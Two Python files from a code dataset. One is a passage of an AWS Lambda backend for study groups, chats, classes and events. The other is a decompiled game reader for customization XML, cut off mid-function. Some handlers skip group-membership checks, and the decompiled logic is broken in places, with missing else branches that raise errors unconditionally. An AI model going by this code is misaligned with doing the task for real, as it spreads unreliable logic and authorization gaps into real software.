\"Could not add message\" }\n return { \"errMsg\": \"You don't have access to this group\" }\n return { \"errMsg\": \"User not in group\" }\n\n\n \ndef getGroups(connection, cursor, userID):\n cursor.execute(\"\"\"SELECT g.name, g.readPrivate, g.writePrivate FROM GroupsToUsers gu INNER JOIN Groups g ON gu.groupName=g.name LEFT JOIN Classes c ON c.id=g.name WHERE gu.userID=%s AND c.id IS NULL\"\"\", (userID))\n groups = []\n for (groupName, readPrivate, writePrivate) in cursor:\n groups.append({ \"group\": { \"name\": groupName, \"readPrivate\": readPrivate, \"writePrivate\": writePrivate } })\n for group in groups:\n groupContents = getGroup(connection, cursor, group[\"group\"][\"name\"], userID)\n group[\"group\"][\"users\"] = groupContents[\"group\"][\"users\"]\n group[\"group\"][\"chats\"] = groupContents[\"group\"][\"chats\"]\n group[\"accepted\"] = groupContents[\"accepted\"]\n group[\"writable\"] = groupContents[\"writable\"]\n return groups\n \n\ndef getGroup(connection, cursor, groupName, userID):\n if cursor.execute(\"\"\"SELECT g.readPrivate, g.writePrivate, gu.accepted, gu.writable, c.courseID FROM Groups g LEFT JOIN GroupsToUsers gu ON gu.groupName=g.name AND gu.userID=%s LEFT JOIN Classes c ON c.id=g.name WHERE g.name=%s\"\"\", (userID, groupName)) > 0:\n row = cursor.fetchone()\n readPrivate = row[0]\n writePrivate = row[1]\n groupAccepted = row[2]\n groupWritable = row[3]\n courseID = row[4]\n if (not readPrivate or groupAccepted is not None):\n events = getEvents(connection, cursor, groupName)\n group = {\n \"name\": groupName,\n \"readPrivate\": readPrivate,\n \"writePrivate\": writePrivate,\n \"users\": [],\n \"chats\": [],\n \"events\": events,\n \"courseID\": courseID\n }\n cursor.execute(\"\"\"SELECT gu.userID, gu.accepted, gu.writable FROM GroupsToUsers gu WHERE gu.groupName=%s\"\"\", (groupName))\n userQueryRes = cursor.fetchall()\n for (userID, accepted, writable) in userQueryRes:\n user = getUser(cursor, userID)\n user[\"accepted\"] = accepted\n user[\"writable\"] = writable\n group[\"users\"].append(user)\n cursor.execute(\"\"\"SELECT c.id, c.name, c.subject FROM Chats c WHERE c.groupName=%s\"\"\", (groupName))\n for (chatID, chatName, chatSubject) in cursor:\n group[\"chats\"].append({ \"id\": chatID, \"name\": chatName, \"subject\": chatSubject })\n return { \"accepted\": groupAccepted, \"writable\": groupWritable, \"group\": group }\n print(\"You don't have access to this group!\")\n return { \"errMsg\": \"You don't have access to this group!\" }\n print(\"Group: \", groupName, \" with member \", userID, \" does not exist\")\n return { \"errMsg\": \"User not a member of group or group does not exist\" }\n\n\ndef getMessages(connection, cursor, chatID, userID):\n if cursor.execute(\"\"\"SELECT c.groupName FROM Chats c WHERE c.id=%s\"\"\", (chatID)) > 0:\n groupName = cursor.fetchone()[0]\n if canRead(cursor, groupName, userID):\n senderIDs = {}\n messages = []\n cursor.execute(\"\"\"SELECT id, text, objKey, creationEpochSecs, senderID FROM Messages WHERE chatID=%s ORDER BY creationEpochSecs DESC\"\"\", (chatID))\n for (id, text, objKey, creationEpochSecs, senderID) in cursor:\n senderIDs[senderID] = True\n messages.append({ \"id\": id, \"text\": text, \"objKey\": objKey, \"creationEpochSecs\": creationEpochSecs, \"chatID\": chatID, \"senderID\": senderID })\n senders = []\n for senderID in senderIDs:\n senders.append(getUser(cursor, senderID))\n return { \"messages\": messages, \"senders\": senders }\n return { \"errMsg\": \"user does not have access\" }\n return { \"errMsg\": \"User not in group\" }\n \n \ndef searchGroups(connection, cursor, query, userID):\n resp = []\n if cursor.execute(\"\"\"SELECT g.name, g.readPrivate, g.writePrivate FROM Groups g LEFT JOIN Classes c ON g.name=c.id\n WHERE c.id IS NULL AND LCASE(g.name) LIKE %s ORDER BY LENGTH(g.name), g.name LIMIT 50\"\"\", (query + '%')) > 0:\n for (name, readPrivate, writePrivate) in cursor:\n resp.append({\"name\": name, \"readPrivate\": readPrivate, \"writePrivate\": writePrivate})\n return resp\n \ndef createClass(connection, cursor, courseID, schoolName, term, year, courseName, teacherName, timeStr, writePrivate, userID):\n if (cursor.execute(\"\"\"SELECT name FROM Courses WHERE id=%s AND schoolName=%s\"\"\", (courseID, schoolName))) == 0:\n cursor.execute(\"\"\"INSERT INTO Courses VALUES (%s, %s, %s)\"\"\", (courseID, courseName, schoolName))\n cursor.execute(\"\"\"INSERT INTO Teachers VALUES (%s, %s) ON DUPLICATE KEY UPDATE schoolName=%s\"\"\", (teacherName, schoolName, schoolName))\n classID = uuid.uuid4()\n createGroup(connection, cursor, str(classID), False, writePrivate, userID)\n if cursor.execute(\"\"\"INSERT INTO Classes VALUES (%s, %s, %s, %s, %s, %s)\"\"\", (str(classID), teacherName, term, str(year), timeStr, courseID)) > 0:\n connection.commit()\n return getClass(connection, cursor, str(classID), userID)\n \ndef getEvents(connection, cursor, groupName):\n cursor.execute(\"\"\"SELECT e.id, e.name, e.time, e.mins, e.priority, co.id FROM Events e LEFT JOIN Classes c ON c.id=e.groupName LEFT JOIN Courses co ON c.courseID=co.id WHERE e.groupName=%s\"\"\", (groupName))\n events = []\n for (id, name, time, mins, priority, classID) in cursor:\n events.append({ \"id\": id, \"name\": name, \"time\": time, \"mins\": mins, \"groupName\": groupName, \"priority\": priority, \"classID\": classID })\n return events\n \ndef getUserEvents(connection, cursor, userID):\n cursor.execute(\"\"\"SELECT groupName FROM GroupsToUsers WHERE userID=%s AND accepted=1\"\"\", (userID))\n groupNames = cursor.fetchall()\n events = []\n for (groupName) in groupNames:\n events += getEvents(connection, cursor, groupName)\n return events\n\ndef updateEvents(connection, cursor, groupName, events):\n idMap = {}\n for event in events:\n eventID = None\n if \"id\" in event and event[\"id\"] is not None:\n eventID = event[\"id\"]\n cursor.execute(\"UPDATE Events SET name=%s, time=%s, mins=%s, priority=%s WHERE id=%s\", (event[\"name\"], event[\"time\"], event[\"mins\"], str(event[\"priority\"]), event[\"id\"]))\n else:\n eventID = str(uuid.uuid4())\n cursor.execute(\"INSERT INTO Events VALUES (%s, %s, %s, %s, %s, %s)\", (eventID, event[\"name\"], event[\"time\"], event[\"mins\"], groupName, str(event[\"priority\"])))\n idMap[eventID] = True\n connection.commit()\n \n evts = getEvents(connection, cursor, groupName)\n results = []\n for evt in evts:\n if (evt[\"id\"] in idMap):\n results.append(evt)\n return { \"groupName\": groupName, \"events\": results }\n \ndef deleteEvents(connection, cursor, groupName, eventIDs):\n idMap = {}\n for id in eventIDs:\n idMap[id] = True\n evts = getEvents(connection, cursor, groupName)\n results = []\n for evt in evts:\n if (evt[\"id\"] in idMap):\n results.append(evt)\n formatStrings = ','.join(['%s'] * len(eventIDs))\n if cursor.execute(\"DELETE FROM Events WHERE id IN (%s)\" % formatStrings, tuple(eventIDs)) > 0:\n connection.commit()\n return { \"groupName\": groupName, \"events\": results }\n return { \"errMsg\": \"Failed to delete ids\" }\n \ndef searchTeachers(connection, cursor, query, userID):\n teachers = []\n if cursor.execute(\"SELECT school_id FROM user_data_user WHERE id=%s\", (userID)) > 0:\n schoolName = cursor.fetchone()[0]\n if schoolName is not None:\n cursor.execute(\"\"\"SELECT t.name, s.name, s.city, s.state, s.pic_key FROM Teachers t\n INNER JOIN user_data_school s ON t.schoolName=s.name \n WHERE t.schoolName=%s AND LCASE(t.name) LIKE %s \n ORDER BY LENGTH(t.name), t.name LIMIT 50\"\"\", (schoolName, query + '%'))\n else:\n cursor.execute(\"\"\"SELECT t.name, s.name, s.city, s.state, s.pic_key FROM Teachers t\n LEFT JOIN user_data_school s ON t.schoolName=s.name \n WHERE LCASE(t.name) LIKE %s \n ORDER BY LENGTH(t.name), t.name LIMIT 50\"\"\", (query + '%'))\n for (teacherName, schoolName, schoolCity, schoolState, schoolPicKey) in cursor:\n school = None\n if schoolName is not None:\n school = {\n \"name\": schoolName,\n \"city\": schoolCity,\n \"state\": schoolState,\n \"picKey\": schoolPicKey\n }\n teachers.append({\n \"name\": teacherName,\n \"school\": school\n })\n return teachers\n \ndef searchCourses(connection, cursor, query, userID):\n if cursor.execute(\"SELECT school_id FROM user_data_user WHERE id=%s\", (userID)) > 0:\n schoolName = cursor.fetchone()[0]\n if schoolName is None:\n cursor.execute(\"\"\"SELECT co.id, co.name, s.name, s.city, s.state, s.pic_key FROM Courses co \n LEFT JOIN user_data_school s ON co.schoolName=s.name \n WHERE LCASE(co.id) LIKE %s OR LCASE(co.name) LIKE %s \n ORDER BY LENGTH(co.id), co.id LIMIT 50\"\"\", (query + '%', query + '%'))\n else:\n cursor.execute(\"\"\"SELECT co.id, co.name, s.name, s.city, s.state, s.pic_key FROM Courses co \n INNER JOIN user_data_school s ON co.schoolName=s.name \n WHERE s.name=%s AND (LCASE(co.id) LIKE %s OR LCASE(co.name) LIKE %s) \n ORDER BY LENGTH(co.id), co.id LIMIT 50\"\"\", (schoolName, query + '%', query + '%'))\n courses = []\n for (courseID, courseName, schoolName, schoolCity, schoolState, schoolPicKey) in cursor:\n school = None\n if schoolName is not None:\n school = {\n \"name\": schoolName,\n \"city\": schoolCity,\n \"state\": schoolState,\n \"picKey\": schoolPicKey\n }\n courses.append({\n \"id\": courseID,\n \"name\": courseName,\n \"school\": school\n })\n return courses\n \n \ndef getClass(connection, cursor, classID, userID):\n if cursor.execute(\"\"\"SELECT c.teacherName, c.term, c.year, c.timeStr, co.id, co.name, s.name, s.city, s.state, s.pic_key FROM Classes c \n INNER JOIN Courses co ON c.courseID=co.id\n LEFT JOIN user_data_school s ON co.schoolName=s.name\n WHERE c.id=%s\"\"\", (classID)) > 0:\n for (teacherName, term, year, timeStr, courseID, courseName, schoolName, schoolCity, schoolState, schoolPicKey) in cursor:\n school = None\n if schoolName is not None:\n school = {\n \"name\": schoolName,\n \"city\": schoolCity,\n \"state\": schoolState,\n \"picKey\": schoolPicKey\n }\n course = {\n \"id\": courseID,\n \"name\": courseName,\n \"school\": school\n }\n teacher = {\n \"name\": teacherName\n }\n res = {\n \"id\": classID,\n \"course\": course,\n \"teacher\": teacher,\n \"term\": term,\n \"year\": year,\n \"timeStr\": timeStr,\n \"group\": getGroup(connection, cursor, classID, userID)\n }\n return res\n return None\n \ndef getTerm(connection, cursor, schoolName, year, term):\n cursor.execute(\"\"\"SELECT start, end FROM Terms WHERE schoolName=%s AND term=%s AND (year=%s OR year IS NULL) ORDER BY year LIMIT 1\"\"\", (schoolName, term, year))\n for (start, end) in cursor:\n return { \"start\": start, \"end\": end }\n \ndef getClassesForUser(connection, cursor, queryUserID, userID):\n cursor.execute(\"\"\"SELECT gu.groupName FROM GroupsToUsers gu INNER JOIN Classes c ON gu.groupName=c.id WHERE gu.userID=%s\"\"\", (queryUserID))\n groupNames = cursor.fetchall()\n classes = []\n for (groupName) in groupNames:\n classes.append(getClass(connection, cursor, groupName[0], userID))\n return classes\n \ndef getClassesForCourse(connection, cursor, courseID, userID):\n cursor.execute(\"\"\"SELECT c.id FROM Classes c WHERE c.courseID=%s\"\"\", (courseID))\n classIDs = cursor.fetchall()\n classes = []\n for classID in classIDs:\n classes.append(getClass(connection, cursor, classID[0], userID))\n return classes\n \ndef updatePersonalEvents(connection, cursor, userID, events):\n if cursor.execute(\"\"\"SELECT g.name FROM Groups g WHERE name=%s\"\"\", (userID)) == 0:\n createGroup(connection, cursor, True, True, userID)\n return updateEvents(connection, cursor, userID, events)\n \ndef handler(event, context):\n dbHost = os.environ['db_host']\n dbUser = os.environ['db_user']\n dbPwd = os.environ['db_pwd']\n dbDb = os.environ['db_db']\n \n connection = pymysql.connect(user=dbUser, password=dbPwd,\n host=dbHost,\n database=dbDb)\n cursor = connection.cursor()\n \n userID = event[\"cognitoIdentityId\"]\n \n print(event)\n args = event[\"arguments\"]\n #python has no switch-case\n if (event[\"type\"] == \"CreateGroup\"):\n return createGroup(connection, cursor, args[\"groupName\"], args[\"readPrivate\"], args[\"writePrivate\"], userID)\n elif (event[\"type\"] == \"JoinGroup\"):\n return joinGroup(connection, cursor, args[\"groupName\"], userID)\n elif (event[\"type\"] == \"LeaveGroup\"):\n if (\"kickUserID\" in args and args[\"kickUserID\"] is not None):\n return kickFromGroup(connection, cursor, args[\"groupName\"], args[\"kickUserID\"], userID)\n else:\n return leaveGroup(connection, cursor, args[\"groupName\"], userID)\n elif (event[\"type\"] == \"InviteToGroup\"):\n return inviteToGroup(connection, cursor, args[\"groupName\"], args[\"inviteToUserID\"], args[\"write\"], userID)\n elif (event[\"type\"] == \"CreateChat\"):\n return createChat(connection, cursor, args[\"groupName\"], args[\"chatName\"], args[\"chatSubject\"], userID)\n elif (event[\"type\"] == \"CreateMessage\"):\n return createMessage(connection, cursor, args[\"chatID\"], args[\"text\"], args[\"objKey\"], args[\"creationEpochSecs\"], userID)\n elif (event[\"type\"] == \"GetGroups\"):\n return getGroups(connection, cursor, userID)\n elif (event[\"type\"] == \"GetGroup\"):\n return getGroup(connection, cursor, args[\"groupName\"], userID)\n elif (event[\"type\"] == \"GetMessages\"):\n return getMessages(connection, cursor, args[\"chatID\"], userID)\n elif (event[\"type\"] == \"SearchGroups\"):\n return searchGroups(connection, cursor, args[\"query\"], userID)\n elif (event[\"type\"] == \"SetWritable\"):\n return setGroupAccess(connection, cursor, args[\"groupName\"], args[\"setUserID\"], args[\"writable\"], userID)\n elif (event[\"type\"] == \"CreateClass\"):\n return createClass(connection, cursor, args[\"courseID\"], args[\"schoolName\"], args[\"term\"], args[\"year\"], args[\"courseName\"], args[\"teacherName\"], args[\"timeStr\"], args[\"writePrivate\"], userID)\n elif (event[\"type\"] == \"UpdateEvents\"):\n if (\"personal\" in args and args[\"personal\"]):\n return updatePersonalEvents(connection, cursor, userID, args[\"events\"])\n else:\n return updateEvents(connection, cursor, args[\"groupName\"], args[\"events\"])\n elif (event[\"type\"] == \"DeleteEvents\"):\n if (\"personal\" in args and args[\"personal\"]):\n return deleteEvents(connection, cursor, userID, args[\"eventIDs\"])\n else:\n return deleteEvents(connection, cursor, args[\"groupName\"], args[\"eventIDs\"])\n elif (event[\"type\"] == \"SearchCourses\"):\n return searchCourses(connection, cursor, args[\"query\"], userID)\n elif (event[\"type\"] == \"GetClasses\"):\n return getClassesForCourse(connection, cursor, args[\"courseID\"], userID)\n elif (event[\"type\"] == \"GetClass\"):\n return getClass(connection, cursor, args[\"classID\"], userID)\n elif (event[\"type\"] == \"GetUserClasses\"):\n return getClassesForUser(connection, cursor, args[\"userID\"], userID)\n elif (event[\"type\"] == \"GetUserEvents\"):\n return getUserEvents(connection, cursor, args[\"userID\"])\n elif (event[\"type\"] == \"SearchTeachers\"):\n return searchTeachers(connection, cursor, args[\"query\"], userID)\n elif (event[\"type\"] == \"GetTerm\"):\n return getTerm(connection, cursor, args[\"schoolName\"], args[\"year\"], args[\"term\"])\n return { \"errMsg\": \"Event not found\" }","sub_path":"GroupHandler/GroupManager/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":25151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"304147462","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: scripts/common/items/readers/c11n_readers.py\nimport nations\nimport os\nfrom items.components import shared_components\nfrom items.components.c11n_constants import CustomizationType, ProjectionDecalFormTags\nfrom realm_utils import ResMgr\nimport items.vehicles as iv\nimport items._xml as ix\nimport items.components.c11n_components as cc\nimport items.customizations as c11n\nfrom constants import IS_CLIENT, IS_WEB\nfrom items.components.c11n_constants import SeasonType, ApplyArea, DecalType, ModificationType, RENT_DEFAULT_BATTLES, ItemTags\nfrom typing import Dict, Type, Tuple, Any, TypeVar\n_itemType = TypeVar('_itemType', bound=cc.BaseCustomizationItem)\n\nclass BaseCustomizationItemXmlReader(object):\n __slots__ = ()\n\n def __init__(self):\n super(BaseCustomizationItemXmlReader, self).__init__()\n\n def _readFromXml(self, target, xmlCtx, section, cache=None):\n if section.has_key('id'):\n target.id = ix.readInt(xmlCtx, section, 'id', 1)\n if section.has_key('tags'):\n target.tags = iv._readTags(xmlCtx, section, 'tags', 'customizationItem')\n if target.itemType == CustomizationType.PROJECTION_DECAL:\n formTags = [ tag for tag in target.tags if tag in ProjectionDecalFormTags.ALL ]\n if len(formTags) > 1 or ProjectionDecalFormTags.ANY in formTags:\n ix.raiseWrongXml(xmlCtx, 'tags', 'wrong formfactor for prjection decal ID%i' % target.id)\n if section.has_key('vehicleFilter'):\n target.filter = self.readVehicleFilterFromXml((xmlCtx, 'vehicleFilter'), section['vehicleFilter'])\n target.season = readEnum(xmlCtx, section, 'season', SeasonType, target.season)\n target.historical = section.readBool('historical', target.historical)\n if section.has_key('priceGroup'):\n target.priceGroup = section.readString('priceGroup')\n if section.has_key('requiredToken'):\n target.requiredToken = section.readString('requiredToken')\n if section.has_key('maxNumber'):\n target.maxNumber = ix.readPositiveInt(xmlCtx, section, 'maxNumber')\n if target.maxNumber <= 0:\n ix.raiseWrongXml(xmlCtx, 'maxNumber', 'should not be less then 1')\n if IS_CLIENT or IS_WEB:\n self._readClientOnlyFromXml(target, xmlCtx, section, cache)\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache=None):\n target.i18n = shared_components.I18nExposedComponent(section.readString('userString'), section.readString('description'))\n\n @staticmethod\n def readVehicleFilterFromXml(xmlCtx, section):\n vc = cc.VehicleFilter()\n readNode = BaseCustomizationItemXmlReader.__readFilterNodeFromXml\n for subsection in section.values():\n if subsection.name == 'include':\n vc.include.append(readNode((xmlCtx, 'include'), subsection))\n if subsection.name == 'exclude':\n vc.exclude.append(readNode((xmlCtx, 'exclude'), subsection))\n ix.raiseWrongXml(xmlCtx, subsection.name, 'should be or ')\n\n return vc\n\n @staticmethod\n def __readFilterNodeFromXml(xmlCtx, section):\n fn = cc.VehicleFilter.FilterNode()\n strNations = ix.readStringOrNone(xmlCtx, section, 'nations')\n if strNations:\n r = []\n for nation in strNations.split():\n nationId = nations.INDICES.get(nation)\n if nationId is None:\n ix.raiseWrongXml(xmlCtx, 'nations', \"unknown nation '%s'\" % nation)\n r.append(nationId)\n\n fn.nations = r\n if section.has_key('levels'):\n fn.levels = ix.readTupleOfPositiveInts(xmlCtx, section, 'levels')\n if section.has_key('vehicles'):\n fn.vehicles = iv._readNationVehiclesByNames(xmlCtx, section, 'vehicles', None)\n if section.has_key('tags'):\n fn.tags = iv._readTags(xmlCtx, section, 'tags', 'vehicle')\n return fn\n\n\nclass PaintXmlReader(BaseCustomizationItemXmlReader):\n __slots__ = ()\n\n def _readFromXml(self, target, xmlCtx, section, cache=None):\n super(PaintXmlReader, self)._readFromXml(target, xmlCtx, section)\n if section.has_key('color'):\n target.color = iv._readColor(xmlCtx, section, 'color')\n if section.has_key('gloss'):\n target.gloss = ix.readFloat(xmlCtx, section, 'gloss', 0.0)\n if section.has_key('metallic'):\n target.metallic = ix.readFloat(xmlCtx, section, 'metallic', 0.0)\n if section.has_key('usages'):\n xmlSubCtx = (xmlCtx, 'usages')\n for name, sub in ix.getChildren(xmlCtx, section, 'usages'):\n ctype, cost = self._readUsage(xmlSubCtx, sub)\n for i in ApplyArea.RANGE:\n if ctype & i:\n target.usageCosts[i] = cost\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache=None):\n super(PaintXmlReader, self)._readClientOnlyFromXml(target, xmlCtx, section)\n if section.has_key('texture'):\n target.texture = section.readString('texture')\n\n @staticmethod\n def _readUsage(xmlCtx, section):\n componentType = readFlagEnum(xmlCtx, section, 'componentType', ApplyArea)\n cost = section.readInt('cost', 1)\n return (componentType, cost)\n\n\nclass DecalXmlReader(BaseCustomizationItemXmlReader):\n __slots__ = ()\n\n def _readFromXml(self, target, xmlCtx, section, cache=None):\n super(DecalXmlReader, self)._readFromXml(target, xmlCtx, section)\n if section.has_key('type'):\n target.type = readEnum(xmlCtx, section, 'type', DecalType)\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache=None):\n super(DecalXmlReader, self)._readClientOnlyFromXml(target, xmlCtx, section)\n if section.has_key('texture'):\n target.texture = section.readString('texture')\n if section.has_key('mirror'):\n target.canBeMirrored = ix.readBool(xmlCtx, section, 'mirror')\n\n\nclass ProjectionDecalXmlReader(BaseCustomizationItemXmlReader):\n __slots__ = ()\n\n def _readFromXml(self, target, xmlCtx, section, cache=None):\n super(ProjectionDecalXmlReader, self)._readFromXml(target, xmlCtx, section)\n if section.has_key('mirror'):\n target.canBeMirrored = ix.readBool(xmlCtx, section, 'mirror')\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache=None):\n super(ProjectionDecalXmlReader, self)._readClientOnlyFromXml(target, xmlCtx, section)\n if section.has_key('texture'):\n target.texture = section.readString('texture')\n\n\nclass PersonalNumberXmlReader(BaseCustomizationItemXmlReader):\n __slots__ = ()\n\n def _readFromXml(self, target, xmlCtx, section, cache):\n super(PersonalNumberXmlReader, self)._readFromXml(target, xmlCtx, section, cache)\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache):\n super(PersonalNumberXmlReader, self)._readClientOnlyFromXml(target, xmlCtx, section, cache)\n if section.has_key('texture'):\n target.texture = section.readString('texture')\n if section.has_key('preview_texture'):\n target.previewTexture = section.readString('preview_texture')\n if section.has_key('fontId'):\n target.fontInfo = cache.fonts[section.readInt('fontId')]\n\n\nclass ModificationXmlReader(BaseCustomizationItemXmlReader):\n __slots__ = ()\n\n def _readFromXml(self, target, xmlCtx, section, cache=None):\n super(ModificationXmlReader, self)._readFromXml(target, xmlCtx, section)\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache=None):\n super(ModificationXmlReader, self)._readClientOnlyFromXml(target, xmlCtx, section)\n if section.has_key('texture'):\n target.texture = section.readString('texture')\n if section.has_key('effects'):\n xmlSubCtx = (xmlCtx, 'effects')\n i = 0\n result = {}\n for name, sub in ix.getChildren(xmlCtx, section, 'effects'):\n itemCtx = (xmlSubCtx, '{}[{}]'.format(name, i))\n mtype = readEnum(itemCtx, sub, 'type', ModificationType)\n result[mtype] = ix.readFloat(itemCtx, sub, 'value', 0.0)\n i += 1\n\n target.effects = result\n\n\nclass CamouflageXmlReader(BaseCustomizationItemXmlReader):\n __slots__ = ()\n\n def _readFromXml(self, target, xmlCtx, section, cache=None):\n super(CamouflageXmlReader, self)._readFromXml(target, xmlCtx, section)\n target.compatibleParts = readFlagEnum(xmlCtx, section, 'compatibleParts', ApplyArea, target.compatibleParts)\n target.componentsCovering = readFlagEnum(xmlCtx, section, 'componentsCovering', ApplyArea, target.componentsCovering)\n target.invisibilityFactor = section.readFloat('invisibilityFactor', 1.0)\n if section.has_key('palettes'):\n palettes = []\n spalettes = section['palettes']\n for pname, psection in spalettes.items():\n res = []\n pctx = (xmlCtx, 'palettes')\n for j, (cname, csection) in enumerate(psection.items()):\n res.append(iv._readColor((pctx, 'palette %s' % (j,)), psection, cname))\n\n palettes.append(res)\n target.palettes = tuple(palettes)\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache=None):\n super(CamouflageXmlReader, self)._readClientOnlyFromXml(target, xmlCtx, section)\n if section.has_key('texture'):\n target.texture = section.readString('texture')\n if section.has_key('tiling'):\n target.tiling = iv._readCamouflageTilings(xmlCtx, section, 'tiling', self.getDefaultNationId(target))\n if section.has_key('scales'):\n target.scales = ix.readTupleOfFloats(xmlCtx, section, 'scales')\n if section.has_key('rotation'):\n rotation = section['rotation']\n target.rotation = {'hull': rotation.readFloat('HULL', 0.0),\n 'turret': rotation.readFloat('TURRET', 0.0),\n 'gun': rotation.readFloat('GUN', 0.0)}\n\n @staticmethod\n def getDefaultNationId(target):\n return target.filter.include[0].nations[0] if target.filter and target.filter.include and target.filter.include[0].nations else nations.NONE_INDEX\n\n\nclass StyleXmlReader(BaseCustomizationItemXmlReader):\n __slots__ = ()\n __outfitDeserializer = c11n.ComponentXmlDeserializer(c11n._CUSTOMIZATION_CLASSES)\n\n def _readFromXml(self, target, xmlCtx, section, cache=None):\n super(StyleXmlReader, self)._readFromXml(target, xmlCtx, section)\n prototype = True\n if section.has_key('outfits'):\n prototype = False\n outfits = {}\n for i, (_, oSection) in enumerate(section['outfits'].items()):\n oCtx = ((xmlCtx, 'outfits'), 'outfit {}'.format(i))\n season = readEnum(oCtx, oSection, 'season', SeasonType)\n outfit = self.__outfitDeserializer.decode(c11n.CustomizationOutfit.customType, oCtx, oSection)\n for s in SeasonType.SEASONS:\n if s & season:\n outfits[s] = outfit\n\n outfit.styleId = target.id\n\n target.outfits = outfits\n if section.has_key('isRent'):\n target.isRent = section.readBool('isRent')\n if target.isRent:\n target.rentCount = section.readInt('rentCount', RENT_DEFAULT_BATTLES)\n target.tags = target.tags.union(frozenset((ItemTags.VEHICLE_BOUND,)))\n totalSeason = sum(target.outfits)\n if totalSeason != target.season and not prototype:\n ix.raiseWrongXml(xmlCtx, 'outfits', 'style season must correspond to declared outfits')\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache=None):\n super(StyleXmlReader, self)._readClientOnlyFromXml(target, xmlCtx, section)\n if section.has_key('texture'):\n target.texture = section.readString('texture')\n if section.has_key('modelsSet'):\n target.modelsSet = section.readString('modelsSet')\n if section.has_key('textInfo'):\n target.textInfo = section.readString('textInfo')\n\n\nclass InsigniaXmlReader(BaseCustomizationItemXmlReader):\n __slots__ = ()\n\n def _readFromXml(self, target, xmlCtx, section, cache=None):\n super(InsigniaXmlReader, self)._readFromXml(target, xmlCtx, section)\n\n def _readClientOnlyFromXml(self, target, xmlCtx, section, cache=None):\n super(InsigniaXmlReader, self)._readClientOnlyFromXml(target, xmlCtx, section)\n if section.has_key('atlas'):\n target.atlas = section.readString('atlas')\n if section.has_key('alphabet'):\n target.alphabet = section.readString('alphabet')\n if section.has_key('texture'):\n target.texture = section.readString('texture')\n target.canBeMirrored = section.readBool('canBeMirrored', False)\n\n\ndef readCustomizationCacheFromXml(cache, folder):\n\n def __readItemFolder(itemCls, folder, itemName, storage):\n itemsFileName = os.path.join(folder, itemName + 's', 'list.xml')\n dataSection = ResMgr.openSection(itemsFileName)\n try:\n _readItems(cache, itemCls, (None, itemName + 's/list.xml'), dataSection, itemName, storage)\n finally:\n ResMgr.purge(itemsFileName)\n\n return\n\n pgFile = os.path.join(folder, 'priceGroups', 'list.xml')\n _readPriceGroups(cache, (None, 'priceGroups/list.xml'), ResMgr.openSection(pgFile), 'priceGroup')\n ResMgr.purge(pgFile)\n pgFile = os.path.join(folder, 'default_colors.xml')\n _readDefaultColors(cache, (None, 'default_colors.xml'), ResMgr.openSection(pgFile), 'default_color')\n ResMgr.purge(pgFile)\n pgFile = os.path.join(folder, 'fonts', 'list.xml')\n _readFonts(cache, (None, 'fonts/list.xml'), ResMgr.openSection(pgFile), 'font')\n ResMgr.purge(pgFile)\n pgFile = os.path.join(folder, 'personal_numbers', 'prohibitedNumbers.xml')\n _readProhibitedNumbers((None, 'personal_numbers/prohibitedNumbers.xml'), ResMgr.openSection(pgFile))\n ResMgr.purge(pgFile)\n __readItemFolder(cc.PaintItem, folder, 'paint', cache.paints)\n __readItemFolder(cc.CamouflageItem, folder, 'camouflage', cache.camouflages)\n __readItemFolder(cc.ModificationItem, folder, 'modification', cache.modifications)\n __readItemFolder(cc.DecalItem, folder, 'decal', cache.decals)\n __readItemFolder(cc.ProjectionDecalItem, folder, 'projection_decal', cache.projection_decals)\n __readItemFolder(cc.StyleItem, folder, 'style', cache.styles)\n __readItemFolder(cc.InsigniaItem, folder, 'insignia', cache.insignias)\n __readItemFolder(cc.PersonalNumberItem, folder, 'personal_number', cache.personal_numbers)\n return None\n\n\ndef _readProhibitedNumbers(xmlCtx, section):\n prohibitedNumbers = ix.readTupleOfStrings(xmlCtx, section, 'ProhibitedNumbers')\n for prohibitedNumber in prohibitedNumbers:\n if not prohibitedNumber.isdigit():\n ix.raiseWrongXml(xmlCtx, 'ProhibitedNumbers', '%s is not a number' % prohibitedNumber)\n\n cc.PersonalNumberItem.setProhibitedNumbers(prohibitedNumbers)\n\n\ndef _readItems(cache, itemCls, xmlCtx, section, itemSectionName, storage):\n reader = __xmlReaders[itemCls]\n groupsDict = cache.priceGroups\n itemToGroup = cache.itemToPriceGroup\n for i, (gname, gsection) in enumerate(section.items()):\n if gname != 'itemGroup' and 'xmlns:' not in gname:\n ix.raiseWrongSection(xmlCtx, gname)\n if gname != 'itemGroup':\n continue\n group = cc.ItemGroup(itemCls)\n gCtx = (xmlCtx, 'itemGroup {0}'.format(i))\n itemPrototype = itemCls()\n reader._readFromXml(itemPrototype, gCtx, gsection, cache)\n group.itemPrototype = itemPrototype\n j = 0\n for iname, isection in gsection.items():\n if iname != itemSectionName:\n continue\n iCtx = (gCtx, '{0} {1}'.format(iname, j))\n j += 1\n item = itemCls(group)\n reader._readFromXml(item, iCtx, isection, cache)\n if item.compactDescr in itemToGroup:\n ix.raiseWrongXml(iCtx, 'id', 'duplicate item. id: %s found in group %s' % (item.id, itemToGroup[item.compactDescr]))\n storage[item.id] = item\n if isection.has_key('price'):\n iv._readPriceForItem(iCtx, isection, item.compactDescr)\n if item.priceGroup:\n if item.priceGroup not in cache.priceGroupNames:\n ix.raiseWrongXml(iCtx, 'priceGroup', 'unknown price group %s for item %s' % (item.priceGroup, item.id))\n priceGroupId = cache.priceGroupNames[item.priceGroup]\n item.priceGroupTags = groupsDict[priceGroupId].tags\n itemToGroup[item.compactDescr] = groupsDict[priceGroupId].compactDescr\n itemNotInShop = isection.readBool('notInShop', False)\n iv._copyPriceForItem(groupsDict[priceGroupId].compactDescr, item.compactDescr, itemNotInShop)\n ix.raiseWrongXml(iCtx, 'priceGroup', 'no price for item %s' % item.id)\n\n\ndef _readPriceGroups(cache, xmlCtx, section, sectionName):\n for tag, iSection in section.items():\n if tag != sectionName:\n continue\n priceGroup = cc.PriceGroup()\n priceGroup.id 